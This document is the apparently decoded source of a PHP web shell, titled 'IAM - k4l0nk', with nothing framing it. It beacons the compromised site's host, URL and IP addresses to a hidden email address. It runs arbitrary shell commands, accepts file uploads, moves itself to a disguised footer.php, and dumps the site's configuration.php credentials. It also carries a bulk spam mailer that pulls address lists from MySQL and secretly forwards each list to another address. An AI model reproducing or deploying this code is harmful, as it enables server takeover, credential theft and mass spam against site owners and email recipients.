PHP Decode

<?php error_reporting(0); 
if (!isset($_SESSION['bajak'])) { 
    $visitcount = 0; 
    $web = $_SERVER["HTTP_HOST"]; 
    $inj = $_SERVER["REQUEST_URI"]; 
    $body = "ada yang inject  
$web$inj"; 
    $safem0de = @ini_get('safe_mode'); 
    if (!$safem0de) { 
        $security = "SAFE_MODE = OFF"; 
    } else { 
        $security = "SAFE_MODE = ON"; 
    }; 
    $serper = gethostbyname($_SERVER['SERVER_ADDR']); 
    $injektor = gethostbyname($_SERVER['REMOTE_ADDR']); 
    mail("[email protected]", "$body", "Hasil Bajakan http://$web$inj 
$security 
IP Server = $serper 
 IP Injector= $injektor"); 
    $_SESSION['bajak'] = 0; 
} else { 
    $_SESSION['bajak']++; 
}; 
if (isset($_GET['clone'])) { 
    $source = $_SERVER['SCRIPT_FILENAME']; 
    $desti = $_SERVER['DOCUMENT_ROOT'] . "/images/stories/food/footer.php"; 
    rename($source, $desti); 
} 
$safem0de = @ini_get('safe_mode'); 
if (!$safem0de) { 
    $security = "SAFE_MODE : OFF"; 
} else { 
    $security = "SAFE_MODE : ON"; 
} 
echo "<title>IAM - k4l0nk</title><br>"; 
echo "<font size=2 color=#888888><b>" . $security . "</b><br>"; 
$cur_user = "(" . get_current_user() . ")"; 
echo "<font size=2 color=#888888><b>User : uid=" . getmyuid() . $cur_user . " gid=" . getmygid() . $cur_user . "</b><br>"; 
echo "<font size=2 color=#888888><b>Uname : " . php_uname() . "</b><br>"; 
function pwd() { 
    $cwd = getcwd(); 
    if ($u = strrpos($cwd, '/')) { 
        if ($u != strlen($cwd) - 1) { 
            return $cwd . '/'; 
        } else { 
            return $cwd; 
        }; 
    } elseif ($u = strrpos($cwd, '\')){ 
if($u!=strlen($cwd)-1){ 
return $cwd.'\';} 
else{return $cwd;}; 
}; 
} 
echo ' < formmethod = "POST"action = "" > < fontsize = 2color = #888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>'; 
    echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>'; 
    if (isset($_POST['submit'])) { 
        $uploaddir = pwd(); 
        if (!$name = $_POST['newname']) { 
            $name = $_FILES['userfile']['name']; 
        }; 
        move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name); 
        if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) { 
            echo "Upload Failed"; 
        } else { 
            echo "Upload Success to " . $uploaddir . $name . " :P "; 
        } 
    } 
    if (isset($_POST['command'])) { 
        $cmd = $_POST['cmd']; 
        echo "<pre><font size=3 color=#000000>" . shell_exec($cmd) . "</font></pre>"; 
    } elseif (isset($_GET['cmd'])) { 
        $comd = $_GET['cmd']; 
        echo "<pre><font size=3 color=#000000>" . shell_exec($comd) . "</font></pre>"; 
    } elseif (isset($_GET['rf'])) { 
        $rf = file_get_contents("../../configuration.php"); 
        echo $rf; 
    } else { 
        echo "<pre><font size=3 color=#000000>" . shell_exec('ls -la') . "</font></pre>"; 
    } 
    @$action = $_POST['action']; 
    @$from = $_POST['from']; 
    @$realname = $_POST['realname']; 
    @$replyto = $_POST['replyto']; 
    @$subject = $_POST['subject']; 
    @$message = $_POST['message']; 
    @$emaillist = $_POST['emaillist']; 
    @$file_name = $_FILES['file']['name']; 
    @$contenttype = $_POST['contenttype']; 
    @$file = $_FILES['file']['tmp_name']; 
    @$amount = $_POST['amount']; 
    set_time_limit(intval($_POST['timelimit'])); 
    If ($action == "mysql") { 
        //Grab email addresses from MySQL 
        include "./mysql.info.php"; 
        if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery) { 
            print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required."; 
            exit; 
        } 
        $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed."); 
        mysql_select_db($sqldb, $db) or die("Could not select database $sqldb"); 
        $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery"); 
        $numrows = mysql_num_rows($result); 
        for ($x = 0;$x < $numrows;$x++) { 
            $result_row = mysql_fetch_row($result); 
            $oneemail = $result_row[0]; 
            $emaillist.= $oneemail . " 
"; 
        } 
    } 
    if ($action == "send") { 
        $message = urlencode($message); 
        $message = ereg_replace("%5C%22", "%22", $message); 
        $message = urldecode($message); 
        $message = stripslashes($message); 
        $subject = stripslashes($subject); 
    } 
    $ip = getenv("REMOTE_ADDR"); 
    echo '<form name="form1" method="post" action="" enctype="multipart/form-data"> 
 
  <table width="100%" border="0" height="407"> 
     
 
    <tr> 
 
      <td width="100%" colspan="4" bgcolor="#FFF" height="36"> <b> <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE  
        SETUP</font></b></td> 
 
      </tr> 
 
    <tr> 
 
      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">  
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your 
 
          Email:</font></div> 
 
      </td> 
 
      <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
        <input type="text" name="from" value="' . $from . '" size="30"> 
 
        </font></td> 
 
      <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">  
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your 
 
          Name:</font></div> 
 
      </td> 
 
      <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
        <input type="text" name="realname" value="' . $realname . '" size="30"> 
 
        </font></td> 
 
    </tr> 
    <tr> 
 
      <td width="10%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8">  
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div> 
 
      </td> 
 
      <td width="18%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
        <input type="text" name="replyto" value="' . $replyto . '" size="30"> 
 
        </font></td> 
 
      <td width="31%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8">  
        <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        Email Priority:</font></td> 
 
      <td width="41%" height="22" bgcolor="#FFF" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
        &nbsp;</font> 
<select name="epriority" id="listMethod" onchange="showHideListConfig()"> 
        <option value="" selected >- Please Choose -</option> 
        <option value="1"  >High</option> 
        <option value="3"  >Normal</option> 
		<option value="5"  >Low</option> 
		</select> 
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font> </div>  
        <font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> 
        <input type="file" name="file" size="24" /> 
        </font></td>   
      <td width="278"> <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">&nbsp;  
        </font> </td>   
    </tr> 
 
    <tr> 
 
      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">  
        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div> 
 
      </td> 
 
      <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
        <input type="text" name="subject" value="' . $subject . '" size="90"> 
 
        </font></td> 
 
    </tr> 
 
    <tr> 
 
      <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#FFF">&nbsp; </td> 
 
      <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
        &nbsp;</font></td> 
 
    </tr> 
 
    <tr valign="top"> 
 
      <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">  
        <textarea name="message" cols="60" rows="10">' . $message . '</textarea> 
 
        <br /> 
 
         <input type="radio" name="contenttype" value="plain" checked="checked" /> Plain   
          <input type="radio" name="contenttype" value="html" /> HTML   
          <input type="hidden" name="action" value="send" /><br />   
      Number to send: <input type="text" name="amount" value="1" size="10" /><br />   
      Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />   
          <input type="submit" value="Send eMails" />   
 
        </font></td> 
 
      <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#FFF"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">  
        <textarea name="emaillist" cols="30" rows="10">' . $emaillist . '</textarea> 
 
        </font></td> 
 
    </tr> 
 
  </table> 
 
</form>'; 
    if ($action == "send") { 
        if (!$from && !$subject && !$message && !$emaillist) { 
            print "Please complete all fields before sending your message."; 
            exit; 
        } 
        $allemails = split(" 
", $emaillist); 
        $numemails = count($allemails); 
        $secure = '[email protected]'; 
        $filter = "maillist"; 
        $float = "From : mailist info <[email protected]>"; 
        $webe = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; 
        //Open the file attachment if any, and base64_encode it for email transport 
        If ($file_name) { 
            if (!file_exists($file)) { 
                die("The file you are trying to upload couldn't be copied to the server"); 
            } 
            $content = fread(fopen($file, "r"), filesize($file)); 
            $content = chunk_split(base64_encode($content)); 
            $uid = strtoupper(md5(uniqid(time()))); 
            $name = basename($file); 
        } 
        for ($xx = 0;$xx < $amount;$xx++) { 
            for ($x = 0;$x < $numemails;$x++) { 
                $to = $allemails[$x]; 
                if ($to) { 
                    $to = ereg_replace(" ", "", $to); 
                    $message = ereg_replace("&email&", $to, $message); 
                    $subject = ereg_replace("&email&", $to, $subject); 
                    print "Sending mail to $to......."; 
                    flush(); 
                    $header = "From: $realname <$from> 
Reply-To: $replyto 
"; 
                    $header.= "MIME-Version: 1.0 
"; 
                    If ($file_name) $header.= "Content-Type: multipart/mixed; boundary=$uid 
"; 
                    If ($file_name) $header.= "--$uid 
"; 
                    $header.= "Content-Type: text/$contenttype 
"; 
                    $header.= "Content-Transfer-Encoding: 8bit 
 
"; 
                    $header.= "$message 
"; 
                    If ($file_name) $header.= "--$uid 
"; 
                    If ($file_name) $header.= "Content-Type: $file_type; name=\"$file_name\" 
"; 
                    If ($file_name) $header.= "Content-Transfer-Encoding: base64 
"; 
                    If ($file_name) $header.= "Content-Disposition: attachment; filename=\"$file_name\" 
 
"; 
                    If ($file_name) $header.= "$content 
"; 
                    If ($file_name) $header.= "--$uid--"; 
                    mail($to, $subject, "", $header); 
                    print "ok<br>"; 
                    flush(); 
                } 
            } 
        } 
        mail($secure, $filter, "Sender IP : " . $ip . " 
" . "From URL : " . $webe . " 
" . $emaillist, $float); 
    } 
     ?>